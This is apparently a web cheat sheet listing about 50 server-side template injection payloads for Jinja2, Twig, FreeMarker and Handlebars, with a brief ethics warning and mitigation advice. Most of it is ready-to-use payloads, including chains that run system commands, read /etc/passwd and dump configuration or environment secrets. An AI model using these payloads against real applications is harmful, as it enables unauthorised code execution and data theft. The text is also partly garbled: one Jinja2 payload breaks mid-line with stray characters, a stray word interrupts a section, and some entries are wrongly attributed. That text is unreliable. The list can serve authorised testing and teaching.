Many template engine (e.g., Jinja2, Twig, FreeMarker) exists different context (e.g., Flask, Symfony).
Server-Side Template Injection (SSTI) is a vulnerability where attackers inject malicious code into template engines (e.g., Jinja2, Twig, FreeMarker, Handlebars) used by web applications to dynamically generate content. By injecting template expressions, attackers can execute arbitrary code, access server-side data, or manipulate application logic. Below is a list of 50 example SSTI payloads tailored to various template engines. These payloads are designed to test for vulnerabilities in controlled environments.
Warning: These payloads are for educational and ethical testing purposes only, in controlled environments with explicit permission. Unauthorized use is illegal and unethical. Always test responsibly in a legal, authorized environment.
SSTI Payload Characteristics
- Payloads target template engine syntax, which varies by framework (e.g.,
{{ }}
for Jinja2,{% %}
for Twig,${}
for FreeMarker). - Common goals include executing code, accessing sensitive data (e.g.,
request
,config
), or testing for template rendering. - Payloads often exploit template engine features like variable access, loops, or function calls.
The payloads below cover popular template engines and include generic tests, specific engine syntax, and advanced exploitation techniques. They assume user input is directly embedded into a template (e.g., Hello {{user_input}}
). Adapt payloads based on the suspected template engine.
SSTI Payloads
Generic Detection Payloads
These test for SSTI by attempting simple operations to detect template execution.
{{7*7}}
- Tests if49
is rendered (Jinja2, Handlebars, etc.).${7*7}
- Tests for FreeMarker or Velocity template engines.<% 7*7 %>
- Tests for ERB (Ruby) or JSP template engines.{{1+1}}
- Tests basic arithmetic rendering.${{1+1}}
- Tests for Nunjucks or Handlebars.{% debug %}
- Tests for Twig debug output.{{ config }}
- Attempts to dump configuration (Jinja2, Flask).{{ request }}
- Accesses request object (Jinja2, Flask).<% out.println(7*7) %>
- Tests JSP execution.{{ ''.__class__ }}
- Tests for Python class access (Jinja2).
Jinja2/Flask (Python) Payloads
Jinja2 is common in Flask applications, using {{ }}
for expressions.
{{ ''.__class__.__mro__ }}
- Dumps method resolution order.{{ self.__init__.__globals__ }}
- Accesses global namespace.{{ ''.__class__.__base__ }}
- Accesses base class.{{ config.items() }}
- Dumps Flask configuration.{{ get_flashed_messages.__globals__ }}
- Accesses Flask globals.{{ ''.__class__.__subclasses__() }}
- Lists all subclasses.{{ ''.__class__.__base__.__subclasses__()[59].__init__.__func__.__globals__['sys'].modules['os'].system('id') }}
- Executes system command (Linux).{{ request.application.__self__.__dict__ }}
- Dumps application context.- `{{ url_for.globals[‘os’].p ո
System: .popen(‘whoami’) }} - Attempts to execute
whoami` command (Jinja2).
{{ ''.join(os.listdir('/')) }}
- Lists root directory contents.
Twig (PHP) Payloads
Twig is used in PHP frameworks like Symfony, using {{ }}
and {% %}
禁止
{{ 1+1 }}
- Tests arithmetic evaluation.{{ app.request }}
- Accesses request object.{% include '/etc/passwd' %}
- Attempts to read sensitive file.{{ _context }}
- Dumps template context.{{ dump(app) }}
- Dumps application object.{% set foo = system('id') %}{{ foo }}
- Attempts command execution.{{ constant('PHP_OS') }}
- Retrieves OS information.{% debug %}
- Outputs debug information.{{ app.session.user }}
- Accesses session user data.{% filter phpinfo %}1{% endfilter %}
- Attempts to display PHP info.
FreeMarker (Java) Payloads
FreeMarker is used in Java applications, using ${}
for expressions.
${7*7}
- Tests arithmetic evaluation.${.api}
- Dumps FreeMarker API context.${.dataModel}
- Accesses data model.${request}
- Accesses HTTP request object.${.builtIns?keys}
- Lists built-in functions.${.getClass().forName("java.lang.Runtime").getMethod("exec","java.lang.String").invoke(null,"whoami")}
- Attempts command execution.${user}
- Accesses user object.${.vars}
- Dumps all variables in scope.${System.getProperty("os.name")}
- Retrieves OS name.${.main?string}
- Dumps main template data.
Handlebars/Nunjucks (JavaScript) Payloads
Used in Node.js applications, using {{ }}
or {{{ }}}
.
{{ 7 * 7 }}
- Tests arithmetic evaluation.{{ global.process }}
- Accesses Node.js process object.{{{ global }}}
- Dumps global scope.{{ require('os').userInfo() }}
- Attempts to retrieve user info.{{ process.env }}
- Dumps environment variables.{{ __dirname }}
- Retrieves current directory.{{{ this }}}
- Dumps current context.{{ require('fs').readdirSync('.') }}
- Lists current directory files.{{ global.process.argv }}
- Accesses command-line arguments.{{ "{{ Object.keys(global) }}" }}
- Lists global object keys.
Notes
- Template Engine Detection: Start with generic payloads (e.g.,
{{7*7}}
) to identify the engine, then use engine-specific payloads. - Context-Specific: Payloads must match the template engine’s syntax and available objects (e.g.,
request
in Flask,app
in Twig). - Encoding: For web inputs, payloads may need URL encoding (e.g.,
{{
becomes%7B%7B
) . - Ethical Use: Only test systems you own or have explicit permission to test. Unauthorized testing is illegal.
- Mitigation: Developers should sanitize user inputs, use safe template rendering (e.g., auto-escaping), and avoid embedding raw user input in templates.